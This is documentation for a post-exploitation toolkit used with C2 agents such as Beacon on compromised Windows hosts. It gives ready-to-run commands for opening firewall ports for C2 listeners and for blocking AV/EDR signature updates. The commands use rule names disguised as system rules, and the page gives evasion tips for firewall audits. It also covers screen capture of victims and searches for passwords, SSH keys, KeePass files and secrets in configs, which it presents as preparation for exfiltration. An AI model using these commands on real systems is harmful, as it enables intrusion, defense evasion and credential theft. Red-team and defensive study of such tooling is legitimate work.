Postex-BOF

Postex-BOF provides utilities for post-exploitation operations: firewall manipulation, screenshots, and advanced sensitive file searching on the compromised system.

Compatible agents: Beacon, Gopher, Kharon | Platform: Windows

firewallrule add#

Adds a rule to the Windows Firewall. Allows opening ports, authorizing traffic, or blocking specific connections.

firewallrule add --name <name> --port <port> [--protocol <proto>] [--direction <dir>] [--action <action>]

Examples:

# Open port 9000 TCP for a bind TCP listener
firewallrule add --name "Windows Update Service" --port 9000 --protocol tcp --direction in --action allow

# Open a UDP port for custom DNS
firewallrule add --name "DNS Helper" --port 5353 --protocol udp --direction in --action allow

# Block outbound traffic on a port
firewallrule add --name "Security Update" --port 8080 --direction out --action block

Use cases:

• Before deploying a BeaconTCP agent (bind), open the port in the firewall so the server can connect.
• Create firewall rules allowing C2 communication traffic.
• Block outbound traffic to AV/EDR update servers to prevent them from downloading new signatures.

OPSEC note: Use rule names that look like legitimate system rules to avoid detection during firewall audits. Remember to delete the rules after the operation.

screenshot_bof#

Captures a screenshot of the user’s current desktop.

screenshot_bof

No arguments required. Captures the entire screen and returns the image to the operator.

Examples:

# Take a screenshot
screenshot_bof

Use cases:

• Visual reconnaissance of user activity in real time.
• Documenting evidence during a red team engagement.
• Verify which applications the user is running (password managers, VPNs, etc.).
• Confirm that a privileged user is active before attempting credential theft.

sauroneye#

Advanced file search tool. Search for files by extension, name, content, size, and modification date. Extremely useful for locating sensitive documents, password databases, SSH keys, and configuration files.

sauroneye <path> [options]

Examples:

# Search for Office documents and PDFs on the user's desktop
sauroneye C:\Users\admin\Desktop --ext docx,xlsx,pptx,pdf --subdirs

# Search for files with "password" or "credential" in the name
sauroneye C:\Users --keywords password,credential,secret --subdirs

# Search config files containing passwords
sauroneye C:\inetpub --ext config,xml,json,ini --content password,connectionstring,apikey --subdirs

# Search for KeePass databases
sauroneye C:\Users --ext kdbx,kdb --subdirs

# Search for SSH keys and certificates
sauroneye C:\Users --ext pem,ppk,key,pfx,p12 --subdirs

# Search for recent large files (possible dumps or exports)
sauroneye C:\Users --minsize 1048576 --modified-after 2026-09-01 --subdirs

# Search scripts with hardcoded credentials
sauroneye C:\Scripts --ext ps1,bat,cmd,vbs --content password,passwd,secret --subdirs

Use cases:

• Credential harvesting: Search for files with stored passwords (configs, scripts, notes).
• Data exfiltration: Locate sensitive documents before extraction.
• Key hunting: Find SSH keys, PFX certificates, KeePass files.
• Reconnaissance: Understand what kind of work the compromised user performs.
• Security auditing: Verify if sensitive information is exposed in accessible locations.

Warning: The --content option (searching within files) is very slow on large directories as it reads the content of every file matching the filters. Use extension and size filters to limit scope.

Recommended workflow#

1. Use screenshot_bof to get an overview of user activity.
2. Use sauroneye with --ext and --keywords to quickly locate sensitive files.
3. If you need to open ports for deploying additional listeners, use firewallrule add.
4. For deeper searches, add --content with restrictive extension and size filters.